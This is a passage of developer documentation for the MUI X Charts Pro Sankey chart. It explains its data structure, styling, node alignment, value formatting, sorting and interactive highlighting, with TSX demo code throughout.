    { source: 'Revenue', target: 'Gross Profit', value: 193.8 },
    { source: 'Gross Profit', target: 'Operating Profit', value: 128.5 },
    { source: 'Gross Profit', target: 'Operating Expenses', value: 65.3 },
    { source: 'Cost of Revenue', target: 'Product Costs', value: 13.5 },
    { source: 'Cost of Revenue', target: 'Service Costs', value: 74.3 },
    { source: 'Operating Profit', target: 'Tax', value: 21.7 },
    { source: 'Operating Profit', target: 'Other Loss', value: 4.9 },
    { source: 'Operating Profit', target: 'Net Profit', value: 101.8 },
    { source: 'Operating Expenses', target: 'R&D', value: 32.4 },
    { source: 'Operating Expenses', target: 'S&M', value: 25.6 },
    { source: 'Operating Expenses', target: 'G&A', value: 7.2 },
  ],
};

const valueFormatter = (value: number, context: { type: string }) => {
  if (context.type === 'link') {
    return `${value}B`;
  }
  // The value of a node is the sum of its incoming links
  return `${value}B total`;
};

export default function SankeyOverview() {
  const theme = useTheme();
  const isDesktop = useMediaQuery(theme.breakpoints.up('sm'));

  return (
    <Box sx={{ width: '100%' }}>
      <Typography
        variant="h5"
        component="h2"
        gutterBottom
        align="center"
        sx={{ fontWeight: 'bold' }}
      >
        Microsoft FY 2025 Income Statement
      </Typography>
      <Typography
        variant="subtitle1"
        align="center"
        color="text.secondary"
        sx={{ mb: 2 }}
      >
        Flow from Revenue to Net Income (in Billions USD)
      </Typography>
      <Box sx={{ width: '100%', height: 600 }}>
        <SankeyDataProvider
          series={[
            {
              type: 'sankey' as const,
              data,
              valueFormatter,
              nodeOptions: {
                sort: 'fixed',
                padding: 20,
                width: 9,
                showLabels: isDesktop,
              },
              linkOptions: {
                color: 'target',
                opacity: 0.6,
                curveCorrection: 0,
                showValues: !isDesktop,
              },
            },
          ]}
          margin={{ top: 20 }}
        >
          <ChartsWrapper>
            <ChartsSurface>
              <SankeyNodePlot />
              <SankeyLinkPlot />
              <CustomNodeLabelPlot />
              <CustomNodeLabelPlot />
            </ChartsSurface>
            {<SankeyTooltip trigger="item" />}
          </ChartsWrapper>
        </SankeyDataProvider>
      </Box>
    </Box>
  );
}

```

## Basics

The Sankey chart requires a specific data structure with two main parts: `nodes` and `links`.

- The `nodes` array is optional but allows the customization of individual nodes.
- The `links` array defines the connections between nodes and must specify `source`, `target`, and `value`.

### Automatic nodes

If a node is referenced in `links` but not defined in the `nodes` array, it is automatically created with the ID as the label.

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';

export default function SankeyBasicDataStructure() {
  return (
    <SankeyChart
      height={250}
      series={{
        data: {
          links: [
            { source: 'A', target: 'B', value: 10 },
            { source: 'A', target: 'C', value: 5 },
            { source: 'B', target: 'D', value: 8 },
            { source: 'C', target: 'D', value: 3 },
          ],
        },
      }}
    />
  );
}

```

### Explicit nodes

When an explicit node definition is provided, it allows customizing labels and colors for each node.

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';

export default function SankeyDetailedDataStructure() {
  return (
    <SankeyChart
      height={250}
      series={{
        data: {
          nodes: [
            { id: 'source', label: 'Energy Source', color: '#e57373' },
            { id: 'oil', label: 'Oil Production', color: '#f06292' },
            { id: 'gas', label: 'Natural Gas', color: '#ba68c8' },
            { id: 'usage', label: 'Energy Usage', color: '#64b5f6' },
          ],
          links: [
            { source: 'source', target: 'oil', value: 30, color: '#e57373' },
            { source: 'source', target: 'gas', value: 20, color: '#e57373' },
            { source: 'oil', target: 'usage', value: 25, color: '#f06292' },
            { source: 'gas', target: 'usage', value: 15, color: '#ba68c8' },
          ],
        },
      }}
    />
  );
}

```

## Styling

### Default node styles

Default styles can be applied to all nodes using the `nodeOptions` prop:

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';

const data = {
  nodes: [
    { id: 'A', label: 'Source A' },
    { id: 'B', label: 'Process B' },
    { id: 'C', label: 'Process C' },
    { id: 'D', label: 'Output D' },
  ],
  links: [
    { source: 'A', target: 'B', value: 15 },
    { source: 'A', target: 'C', value: 10 },
    { source: 'B', target: 'D', value: 12 },
    { source: 'C', target: 'D', value: 8 },
  ],
};

export default function SankeyNodeStyling() {
  return (
    <ChartsUsageDemo
      componentName="SankeyChart"
      data={{
        color: {
          knob: 'input',
          defaultValue: '#1976d2',
        },
        width: {
          knob: 'number',
          defaultValue: 15,
          min: 5,
          max: 50,
        },
        padding: {
          knob: 'number',
          defaultValue: 10,
          min: 0,
          max: 50,
        },
        showLabels: {
          knob: 'switch',
          defaultValue: true,
        },
      }}
      renderDemo={(props) => (
        <SankeyChart
          height={300}
          series={{
            data,
            nodeOptions: {
              color: props.color,
              width: props.width,
              padding: props.padding,
              showLabels: props.showLabels,
            },
          }}
        />
      )}
      getCode={({ props }) => {
        return `import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';

<SankeyChart
  height={300}
  series={{
    data: {
      // ... your data
    },
    nodeOptions: {
      color: '${props.color}',
      width: ${props.width},
      padding: ${props.padding},
      showLabels: ${props.showLabels},
    },
  }}
/>`;
      }}
    />
  );
}

```

### Default link styles

Default styles can be applied to all links using the `linkOptions` prop:

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';

const data = {
  nodes: [
    { id: 'A', label: 'Source A' },
    { id: 'B', label: 'Process B' },
    { id: 'C', label: 'Process C' },
    { id: 'D', label: 'Output D' },
  ],
  links: [
    { source: 'A', target: 'B', value: 15 },
    { source: 'A', target: 'C', value: 10 },
    { source: 'B', target: 'D', value: 12 },
    { source: 'C', target: 'D', value: 8 },
  ],
};

export default function SankeyLinkStyling() {
  return (
    <ChartsUsageDemo
      componentName="SankeyChart"
      data={{
        color: {
          knob: 'input',
          defaultValue: '#90a4ae',
        },
        opacity: {
          knob: 'number',
          defaultValue: 0.8,
          min: 0.1,
          max: 1,
          step: 0.1,
        },
        showValues: {
          knob: 'switch',
          defaultValue: true,
        },
      }}
      renderDemo={(props) => (
        <SankeyChart
          height={300}
          series={{
            data,
            linkOptions: {
              color: props.color,
              opacity: props.opacity,
              showValues: props.showValues,
            },
            nodeOptions: {
              showLabels: false,
            },
          }}
        />
      )}
      getCode={({ props }) => {
        return `import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';

<SankeyChart
  height={300}
  series={{
    data: {
      // ... your data
    },
    linkOptions: {
      color: '${props.color}',
      opacity: ${props.opacity},
      showValues: ${props.showValues},
    },
  }}
/>`;
      }}
    />
  );
}

```

### Link color keywords

Link colors can use special keyword values to automatically inherit colors from their connected nodes:

- `'source'` - The link inherits the color of its source node
- `'target'` - The link inherits the color of its target node

This feature works for both individual link colors and the default link color in `linkOptions`:

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';

const data = {
  nodes: [
    { id: 'Input', label: 'Input' },
    { id: 'ProcessA', label: 'Process A' },
    { id: 'ProcessB', label: 'Process B' },
    { id: 'Output', label: 'Output' },
  ],
  links: [
    { source: 'Input', target: 'ProcessA', value: 30 },
    { source: 'Input', target: 'ProcessB', value: 20 },
    { source: 'ProcessA', target: 'Output', value: 25 },
    { source: 'ProcessB', target: 'Output', value: 15 },
  ],
};

export default function SankeyLinkKeywordColors() {
  return (
    <ChartsUsageDemo
      componentName="SankeyChart"
      data={{
        linkColorMode: {
          knob: 'radio',
          options: ['default', 'source', 'target'],
          defaultValue: 'source',
        },
      }}
      renderDemo={(props) => {
        const linkColor =
          props.linkColorMode === 'default' ? undefined : props.linkColorMode;

        return (
          <SankeyChart
            height={300}
            series={{
              data,
              nodeOptions: {
                showLabels: true,
              },
              linkOptions: {
                color: linkColor,
                opacity: 0.6,
              },
            }}
          />
        );
      }}
      getCode={({ props }) => {
        const linkColor =
          props.linkColorMode === 'default' ? undefined : props.linkColorMode;

        return `import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';

<SankeyChart
  height={300}
  series={{
    data,
    linkOptions: {
      color: ${linkColor ? `'${linkColor}'` : 'undefined'},
      opacity: 0.6,
    },
  }}
/>`;
      }}
    />
  );
}

```

### Node alignment

The node alignment determines how nodes are positioned within the Sankey chart. The layout follows these principles:

- Nodes are grouped into columns based on the graph structure
- Source nodes always appear to the left of their target nodes
- Some nodes have fixed positions (determined by the graph topology), while others can be positioned more flexibly (affected by alignment)

For example, in the demonstration below:

- Nodes A, B, D, G, I, and K have fixed positions because moving them would require creating a new column
- Node E can be placed in either the first or second column
- Node F is flexible and can be positioned in columns 4, 5, or 6

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import { Stack } from '@mui/system';
import Typography from '@mui/material/Typography';

export default function SankeyNodeAlignment() {
  return (
    <Stack spacing={2} width={'100%'}>
      <Stack flex={1} direction={['column', 'column', 'row']} spacing={2}>
        <Stack width={'100%'}>
          <Typography>Left</Typography>
          <SankeyChart
            height={200}
            series={{
              data,
              nodeOptions: {
                align: 'left',
                sort: nodeSortFunction,
              },
            }}
          />
        </Stack>
        <Stack width={'100%'}>
          <Typography>Right</Typography>
          <SankeyChart
            height={200}
            series={{
              data,
              nodeOptions: {
                align: 'right',
                sort: nodeSortFunction,
              },
            }}
          />
        </Stack>
      </Stack>
      <Stack flex={1} direction={['column', 'column', 'row']} spacing={2}>
        <Stack width={'100%'}>
          <Typography>Justify</Typography>
          <SankeyChart
            height={200}
            series={{
              data,
              nodeOptions: {
                align: 'justify',
                sort: nodeSortFunction,
              },
            }}
          />
        </Stack>
        <Stack width={'100%'}>
          <Typography>Center</Typography>
          <SankeyChart
            height={200}
            series={{
              data,
              nodeOptions: {
                align: 'center',
                sort: nodeSortFunction,
              },
            }}
          />
        </Stack>
      </Stack>
    </Stack>
  );
}

const data = {
  nodes: [],
  links: [
    { source: 'A', target: 'B', value: 2 },
    { source: 'B', target: 'D', value: 4 },
    { source: 'E', target: 'D', value: 4 },
    { source: 'D', target: 'F', value: 1 },
    { source: 'D', target: 'G', value: 7 },
    { source: 'G', target: 'H', value: 2 },
    { source: 'G', target: 'I', value: 5 },
    { source: 'I', target: 'J', value: 3 },
    { source: 'I', target: 'K', value: 2 },
  ],
};

// Sort nodes alphabetically by label
const nodeSortFunction = (a: any, b: any) => {
  const labelA = a.label || a.id;
  const labelB = b.label || b.id;
  return labelA.localeCompare(labelB);
};

```

### Curve correction

The `curveCorrection` prop adjusts the look of the links between nodes by modifying the x-coordinate of the control points in the curve function.
In some instances, this creates better-looking connections but is dependent on the graph layout, and is especially impacted by the chart height.

Higher values create plumper links, while lower values create thinner connections. The default value is `10`.

```tsx
import * as React from 'react';
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import Typography from '@mui/material/Typography';
import Slider from '@mui/material/Slider';
import Box from '@mui/material/Box';

const data = {
  links: [
    { source: 'C', target: 'Y', value: 10 },
    { source: 'A', target: 'X', value: 25 },
    { source: 'B', target: 'X', value: 10 },
    { source: 'X', target: 'Z', value: 25 },
    { source: 'Y', target: 'Z', value: 8 },
    { source: 'B', target: 'Y', value: 5 },
  ],
};

export default function SankeyCurveCorrection() {
  const [curveCorrection, setCurveCorrection] = React.useState(10);

  return (
    <Box sx={{ width: '100%' }}>
      <SliderHandle
        curveCorrection={curveCorrection}
        setCurveCorrection={setCurveCorrection}
      />
      <SankeyChart
        height={400}
        series={{
          data,
          linkOptions: {
            curveCorrection,
          },
        }}
      />
    </Box>
  );
}

function SliderHandle(props: {
  curveCorrection: number;
  setCurveCorrection: (value: number) => void;
}) {
  return (
    <React.Fragment>
      <Typography variant="h6" gutterBottom>
        Curve Correction: {props.curveCorrection}
      </Typography>
      <Slider
        value={props.curveCorrection}
        onChange={(_, value) => props.setCurveCorrection(value as number)}
        min={-20}
        max={20}
        step={1}
        sx={{ mb: 3 }}
        marks={[
          { value: -20, label: '-20' },
          { value: -10, label: '-10' },
          { value: 0, label: '0' },
          { value: 5, label: '5' },
          { value: 10, label: '10 (default)' },
          { value: 20, label: '20' },
        ]}
      />
    </React.Fragment>
  );
}

```

## Value formatting

You can customize how values are displayed in tooltips and labels using the `valueFormatter` prop.
This function receives the numeric value and a context object that provides information about what type of element is being formatted.

The context object contains:

- `location`: either `'tooltip'` or `'label'` to indicate where the formatted value is used
- `type`: either `'node'` or `'link'` to indicate what is being formatted
- `nodeId`: for nodes, the ID of the node being formatted
- `sourceId` and `targetId`: for links, the IDs of the source and target nodes

In the following demo, the value formatter adds relevant units to the values.
And when pointer is on top of a node, it display "total" to the tooltip.

```tsx
import {
  Unstable_SankeyChart as SankeyChart,
  type SankeyValueFormatterContext,
} from '@mui/x-charts-pro/SankeyChart';

const data = {
  nodes: [
    { id: 'Coal', label: 'Coal' },
    { id: 'Natural Gas', label: 'Natural Gas' },
    { id: 'Nuclear', label: 'Nuclear' },
    { id: 'Hydro', label: 'Hydro' },
    { id: 'Wind', label: 'Wind' },
    { id: 'Solar', label: 'Solar' },
    { id: 'Electricity', label: 'Electricity' },
    { id: 'Residential', label: 'Residential' },
    { id: 'Commercial', label: 'Commercial' },
    { id: 'Industrial', label: 'Industrial' },
  ],
  links: [
    { source: 'Coal', target: 'Electricity', value: 300 },
    { source: 'Natural Gas', target: 'Electricity', value: 400 },
    { source: 'Nuclear', target: 'Electricity', value: 200 },
    { source: 'Hydro', target: 'Electricity', value: 100 },
    { source: 'Wind', target: 'Electricity', value: 150 },
    { source: 'Solar', target: 'Electricity', value: 80 },
    { source: 'Electricity', target: 'Residential', value: 450 },
    { source: 'Electricity', target: 'Commercial', value: 350 },
    { source: 'Electricity', target: 'Industrial', value: 430 },
  ],
};

export default function SankeyValueFormatter() {
  return (
    <SankeyChart
      height={300}
      series={{
        data,
        valueFormatter: (value: number, context: SankeyValueFormatterContext) => {
          // Format the value as energy units
          const formatted =
            value >= 1000 ? `${(value / 1000).toFixed(1)} GWh` : `${value} MWh`;

          // You can customize formatting based on context type
          if (context.type === 'link') {
            return `${formatted}`;
          }

          return `${formatted} total`;
        },
        linkOptions: {
          showValues: true,
        },
      }}
    />
  );
}

```

## Sorting

Nodes are displayed in the same order as they are defined in the `nodes` array.
If a `nodes` array isn't provided, nodes are rendered according to the order in which they are referenced in the `links` array.

To dynamically customize the order, use the sorting functions for the element that needs sorting.

### Node sorting

The `nodeOptions.sort` property controls the vertical order of nodes within each column.

It accepts the following values:

- A **function** that receives two `SankeyLayoutNode` objects and returns a number (similar to [`Array.sort()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#comparefn))
- `'auto'` (default): Uses the automatic sorting behavior, which aims to minimize links crossing each other
- `'fixed'`: Preserves the order from the `nodes` array, disabling automatic sorting

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import Typography from '@mui/material/Typography';

const data = {
  nodes: [
    { id: 'C' },
    { id: 'B' },
    { id: 'A' },
    { id: 'X' },
    { id: 'Y' },
    { id: 'Z' },
  ],
  links: [
    { source: 'C', target: 'Y', value: 10 },
    { source: 'A', target: 'X', value: 25 },
    { source: 'B', target: 'X', value: 10 },
    { source: 'X', target: 'Z', value: 25 },
    { source: 'Y', target: 'Z', value: 8 },
    { source: 'B', target: 'Y', value: 5 },
  ],
};

// Sort nodes alphabetically by label
const nodeSortFunction = (a: any, b: any) => {
  const labelA = a.label || a.id;
  const labelB = b.label || b.id;
  return labelB.localeCompare(labelA);
};

export default function SankeyNodeSorting() {
  return (
    <div
      style={{
        gap: '24px',
        display: 'flex',
        flexDirection: 'row',
        flexWrap: 'wrap',
        justifyContent: 'center',
      }}
    >
      <div>
        <Typography variant="h6" gutterBottom>
          auto (default)
        </Typography>
        <SankeyChart
          height={300}
          series={{
            data,
            nodeOptions: {
              sort: 'auto',
            },
          }}
        />
      </div>

      <div>
        <Typography variant="h6" gutterBottom>
          fixed
        </Typography>
        <SankeyChart
          height={300}
          series={{
            data,
            nodeOptions: {
              sort: 'fixed',
            },
          }}
        />
      </div>

      <div>
        <Typography variant="h6" gutterBottom>
          Custom Function
        </Typography>
        <SankeyChart
          height={300}
          series={{
            data,
            nodeOptions: {
              sort: nodeSortFunction,
            },
          }}
        />
      </div>
    </div>
  );
}

```

### Link sorting

The `linkOptions.sort` property controls the order of links emanating from each node.

It accepts the following values:

- A **function** that receives two `SankeyLayoutLink` objects and returns a number
- `'auto'` (default): Uses the automatic sorting behavior, which aims to minimize links crossing each other
- `'fixed'`: Preserves the order from the `links` array, disabling automatic sorting

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import Typography from '@mui/material/Typography';

const data = {
  links: [
    { source: 'C', target: 'Y', value: 10 },
    { source: 'B', target: 'X', value: 10 },
    { source: 'B', target: 'Y', value: 5 },
    { source: 'X', target: 'Z', value: 25 },
    { source: 'Y', target: 'Z', value: 8 },
    { source: 'A', target: 'X', value: 25 },
  ],
};

// Sort links by value (descending)
const linkSortFunction = (a: any, b: any) => b.value - a.value;

export default function SankeyLinkSorting() {
  return (
    <div
      style={{
        gap: '24px',
        display: 'flex',
        flexDirection: 'row',
        flexWrap: 'wrap',
        justifyContent: 'center',
      }}
    >
      <div>
        <Typography variant="h6" gutterBottom>
          auto (default)
        </Typography>
        <SankeyChart
          height={300}
          series={{
            data,
            linkOptions: {
              sort: 'auto',
            },
          }}
        />
      </div>

      <div>
        <Typography variant="h6" gutterBottom>
          fixed
        </Typography>
        <SankeyChart
          height={300}
          series={{
            data,
            linkOptions: {
              sort: 'fixed',
            },
          }}
        />
      </div>

      <div>
        <Typography variant="h6" gutterBottom>
          Custom Function
        </Typography>
        <SankeyChart
          height={300}
          series={{
            data,
            linkOptions: {
              sort: linkSortFunction,
            },
          }}
        />
      </div>
    </div>
  );
}

```

## Layout iterations

The `iterations` prop controls how many times the layout algorithm runs to optimize node positioning. More iterations generally result in better layouts but take longer to compute.

```tsx
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';

const data = {
  nodes: [
    { id: 'A', label: 'Energy' },
    { id: 'B', label: 'Coal' },
    { id: 'C', label: 'Gas' },
    { id: 'D', label: 'Oil' },
    { id: 'E', label: 'Electricity' },
    { id: 'F', label: 'Heat' },
    { id: 'G', label: 'Residential' },
    { id: 'H', label: 'Commercial' },
    { id: 'I', label: 'Industrial' },
  ],
  links: [
    { source: 'A', target: 'B', value: 30 },
    { source: 'A', target: 'C', value: 25 },
    { source: 'A', target: 'D', value: 20 },
    { source: 'B', target: 'E', value: 25 },
    { source: 'C', target: 'E', value: 20 },
    { source: 'C', target: 'F', value: 5 },
    { source: 'D', target: 'F', value: 18 },
    { source: 'E', target: 'G', value: 15 },
    { source: 'E', target: 'H', value: 20 },
    { source: 'E', target: 'I', value: 10 },
    { source: 'F', target: 'G', value: 8 },
    { source: 'F', target: 'H', value: 10 },
    { source: 'F', target: 'I', value: 5 },
  ],
};

export default function SankeyIterations() {
  return (
    <ChartsUsageDemo
      componentName="SankeyChart"
      data={{
        iterations: {
          knob: 'slider',
          defaultValue: 32,
          min: 1,
          max: 100,
        },
      }}
      renderDemo={(props) => (
        <SankeyChart
          height={400}
          series={{
            data,
            iterations: props.iterations,
          }}
        />
      )}
      getCode={({ props }) => {
        return `import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';

<SankeyChart
  height={400}
  series={{
    data: {
      // ... your data
    },
    iterations: ${props.iterations},
  }}
/>`;
      }}
    />
  );
}

```

## Interaction

### Click event

You can use the `onNodeClick` and `onLinkClick` props to handle click events on both nodes and links in the Sankey chart. The callback receives the mouse event and a `SankeyNodeIdentifierWithData` or `SankeyLinkIdentifierWithData` respectively, both of which contain information about the clicked item.

The `SankeyItemIdentifierWithData` type is a union of `SankeyNodeIdentifierWithData` and `SankeyLinkIdentifierWithData`, allowing you to handle both types of items in a single callback if needed.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';
import {
  Unstable_SankeyChart as SankeyChart,
  SankeyItemIdentifier,
} from '@mui/x-charts-pro/SankeyChart';
import { HighlightedCode } from '@mui/docs/HighlightedCode';

const getCircularReplacer = () => {
  const seen = new WeakSet();
  return (key: string, value: any) => {
    if (key === 'source' || key === 'target') {
      return '(Circular Node)';
    }
    if (key === 'sourceLinks' || key === 'targetLinks') {
      return '[...(Circular Links)]';
    }

    if (typeof value === 'object' && value !== null) {
      if (seen.has(value)) {
        return undefined;
      }
      seen.add(value);
    }
    return value;
  };
};

const sankeyChartsParams = {
  series: {
    data: {
      nodes: [
        { id: 'Coal', label: 'Coal' },
        { id: 'Natural Gas', label: 'Natural Gas' },
        { id: 'Nuclear', label: 'Nuclear' },
        { id: 'Hydro', label: 'Hydro' },
        { id: 'Wind', label: 'Wind' },
        { id: 'Solar', label: 'Solar' },
        { id: 'Electricity', label: 'Electricity' },
        { id: 'Residential', label: 'Residential' },
        { id: 'Commercial', label: 'Commercial' },
        { id: 'Industrial', label: 'Industrial' },
      ],
      links: [
        { source: 'Coal', target: 'Electricity', value: 30 },
        { source: 'Natural Gas', target: 'Electricity', value: 40 },
        { source: 'Nuclear', target: 'Electricity', value: 20 },
        { source: 'Hydro', target: 'Electricity', value: 10 },
        { source: 'Wind', target: 'Electricity', value: 15 },
        { source: 'Solar', target: 'Electricity', value: 8 },
        { source: 'Electricity', target: 'Residential', value: 45 },
        { source: 'Electricity', target: 'Commercial', value: 35 },
        { source: 'Electricity', target: 'Industrial', value: 43 },
      ],
    },
    highlightScope: {
      highlight: 'item',
    },
  },
  height: 400,
  margin: { left: 20, right: 120 },
} as const;

export default function SankeyClick() {
  const [itemData, setItemData] = React.useState<SankeyItemIdentifier>();

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <SankeyChart
          {...sankeyChartsParams}
          onNodeClick={(event, d) => setItemData(d)}
          onLinkClick={(event, d) => setItemData(d)}
        />
      </Box>

      <Stack direction="column" sx={{ width: { xs: '100%', md: '40%' } }}>
        <Box
          sx={{
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography>Click on the chart</Typography>
          <IconButton
            aria-label="reset"
            size="small"
            onClick={() => {
              setItemData(undefined);
            }}
          >
            <UndoOutlinedIcon fontSize="small" />
          </IconButton>
        </Box>
        <HighlightedCode
          code={`// Data from item click
${itemData ? JSON.stringify(itemData, getCircularReplacer(), 2) : '// The data will appear here'}
`}
          language="json"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

```

### Highlighting

You can highlight nodes and links by hovering over them or by controlling the highlighting programmatically. When an item is highlighted, other items can be faded out to improve focus.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { Unstable_SankeyChart as SankeyChart } from '@mui/x-charts-pro/SankeyChart';

export default function SankeyHighlighting() {
  const [nodeHighlight, setNodeHighlight] = React.useState<
    'nodes' | 'links' | 'incoming' | 'outgoing' | 'none'
  >('links');
  const [nodeFade, setNodeFade] = React.useState<'global' | 'none'>('global');
  const [linkHighlight, setLinkHighlight] = React.useState<
    'links' | 'nodes' | 'source' | 'target' | 'none'
  >('links');
  const [linkFade, setLinkFade] = React.useState<'global' | 'none'>('global');

  return (
    <Stack spacing={2} sx={{ width: '100%' }}>
      <Box sx={{ width: '100%' }}>
        <SankeyChart
          series={{
            data: {
              nodes: [
                { id: 'A', label: 'A' },
                { id: 'B', label: 'B' },
                { id: 'C', label: 'C' },
                { id: 'D', label: 'D' },
                { id: 'E', label: 'E' },
                { id: 'F', label: 'F' },
              ],
              links: [
                { source: 'A', target: 'D', value: 3 },
                { source: 'A', target: 'E', value: 4 },
                { source: 'B', target: 'D', value: 2 },
                { source: 'B', target: 'E', value: 3 },
                { source: 'C', target: 'E', value: 2 },
                { source: 'D', target: 'F', value: 5 },
                { source: 'E', target: 'F', value: 9 },
              ],
            },
            nodeOptions: {
              highlight: nodeHighlight,
              fade: nodeFade,
            },
            linkOptions: {
              highlight: linkHighlight,
              fade: linkFade,
            },
          }}
          height={300}
          margin={{ left: 80, right: 80 }}
        />
      </Box>
      <Stack
        direction={{ xs: 'column', sm: 'row' }}
        spacing={2}
        sx={{ width: '100%' }}
      >
        <Stack spacing={2} sx={{ flex: 1 }}>
          <TextField
            select
            label="Node Highlight"
            value={nodeHighlight}
            onChange={(event) =>
              setNodeHighlight(
                event.target.value as
                  | 'nodes'
                  | 'links'
                  | 'incoming'
                  | 'outgoing'
                  | 'none',
              )
            }
            fullWidth
          >
            <MenuItem value="nodes">nodes</MenuItem>
            <MenuItem value="links">links</MenuItem>
            <MenuItem value="incoming">incoming</MenuItem>
            <MenuItem value="outgoing">outgoing</MenuItem>
            <MenuItem value="none">none</MenuItem>
          </TextField>
          <TextField
            select
            label="Node Fade"
            value={nodeFade}
            onChange={(event) =>
              setNodeFade(event.target.value as 'global' | 'none')
            }
            fullWidth
          >
            <MenuItem value="global">global</MenuItem>
            <MenuItem value="none">none</MenuItem>
          </TextField>
        </Stack>
        <Stack spacing={2} sx={{ flex: 1 }}>
          <TextField
            select
            label="Link Highlight"
            value={linkHighlight}
            onChange={(event) =>
              setLinkHighlight(
                event.target.value as
                  | 'links'
                  | 'nodes'
                  | 'source'
                  | 'target'
                  | 'none',
              )
            }
            fullWidth
          >
            <MenuItem value="links">links</MenuItem>
            <MenuItem value="nodes">nodes</MenuItem>
            <MenuItem value="source">source</MenuItem>
            <MenuItem value="target">target</MenuItem>
            <MenuItem value="none">none</MenuItem>
          </TextField>
          <TextField
            select
            label="Link Fade"
            value={linkFade}
            onChange={(event) =>
              setLinkFade(event.target.value as 'global' | 'none')
            }
            fullWidth
          >
            <MenuItem value="global">global</MenuItem>
            <MenuItem value="none">none</MenuItem>
          </TextField>
        </Stack>
      </Stack>
    </Stack>
  );
}

```

The highlighting behavior is configured separately for nodes and links through their respective options:

#### Node highlighting

Configure node highlighting behavior using `nodeOptions.highlight` and `nodeOptions.fade`:

- `nodeOptions.highlight`: Controls what gets highlighted when selecting a node
  - `'nodes'`: Highlight only the selected node
  - `'links'`: Highlight all links connected to the selected node
  - `'incoming'`: Highlight only incoming links to the selected node
  - `'outgoing'`: Highlight only outgoing links from the selected node
  - `'none'`: Disable node highlighting
- `nodeOptions.fade`: Controls the fade effect
  - `'global'`: Fade all non-highlighted items when a node is highlighted
  - `'none'`: No fade effect

#### Link highlighting

Configure link highlighting behavior using `linkOptions.highlight` and `linkOptions.fade`:

- `linkOptions.highlight`: Controls what gets highlighted when selecting a link
  - `'links'`: Highlight only the selected link
  - `'nodes'`: Highlight both source and target nodes of the selected link
  - `'source'`: Highlight only the source node of the selected link
  - `'target'`: Highlight only the target node of the selected link
  - `'none'`: Disable link highlighting
- `linkOptions.fade`: Controls the fade effect
  - `'global'`: Fade all non-highlighted items when a link is highlighted
  - `'none'`: No fade effect

### Controlled highlighting

You can control the highlighting externally using the `highlightedItem` and `onHighlightChange` props. This is useful when you want to programmatically highlight specific nodes or links, or synchronize highlighting with other UI elements.

The `highlightedItem` prop accepts either a `SankeyNodeIdentifier` or a `SankeyLinkIdentifier`:

For nodes:

```ts
{
  type: 'sankey',
  seriesId: string,
  subType: 'node',
  nodeId: string | number,
}
```

For links:

```ts
{
  type: 'sankey',
  seriesId: string,
  subType: 'link',
  sourceId: string | number,
  targetId: string | number,
}
```

The `onHighlightChange` callback is called whenever the highlighted item changes (either through user interaction or programmatic control), allowing you to keep your state synchronized.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import FormControl from '@mui/material/FormControl';
import FormLabel from '@mui/material/FormLabel';
import {
  Unstable_SankeyChart as SankeyChart,
  type SankeyNodeIdentifier,
  type SankeyLinkIdentifier,
} from '@mui/x-charts-pro/SankeyChart';

export default function SankeyControlledHighlight() {
  type HighlightItem = SankeyNodeIdentifier | SankeyLinkIdentifier | null;
  const [highlightedItem, setHighlightedItem] = React.useState<HighlightItem>({
    type: 'sankey',
    seriesId: 'auto-generated-id',
    subType: 'node',
    nodeId: 'A',
  });

  const handleHighlightChange: (item: HighlightItem) => void = (item) => {
    setHighlightedItem(item);
  };

  const handleToggleChange = (
    _event: React.MouseEvent<HTMLElement>,
    newValue: string | null,
  ) => {
    if (newValue === null) {
      setHighlightedItem(null);
      return;
    }

    if (newValue.startsWith('node-')) {
      const nodeId = newValue.replace('node-', '');
      setHighlightedItem({
        type: 'sankey',
        seriesId: 'auto-generated-id',
        subType: 'node',
        nodeId,
      });
    } else if (newValue.startsWith('link-')) {
      const [source, target] = newValue.replace('link-', '').split('-');
      setHighlightedItem({
        type: 'sankey',
        seriesId: 'auto-generated-id',
        subType: 'link',
        sourceId: source,
        targetId: target,
      });
    }
  };

  const getCurrentValue = () => {
    if (!highlightedItem) {
      return null;
    }
    if (highlightedItem.subType === 'node') {
      return `node-${highlightedItem.nodeId}`;
    }
    return `link-${highlightedItem.sourceId}-${highlightedItem.targetId}`;
  };

  return (
    <Box sx={{ width: '100%' }}>
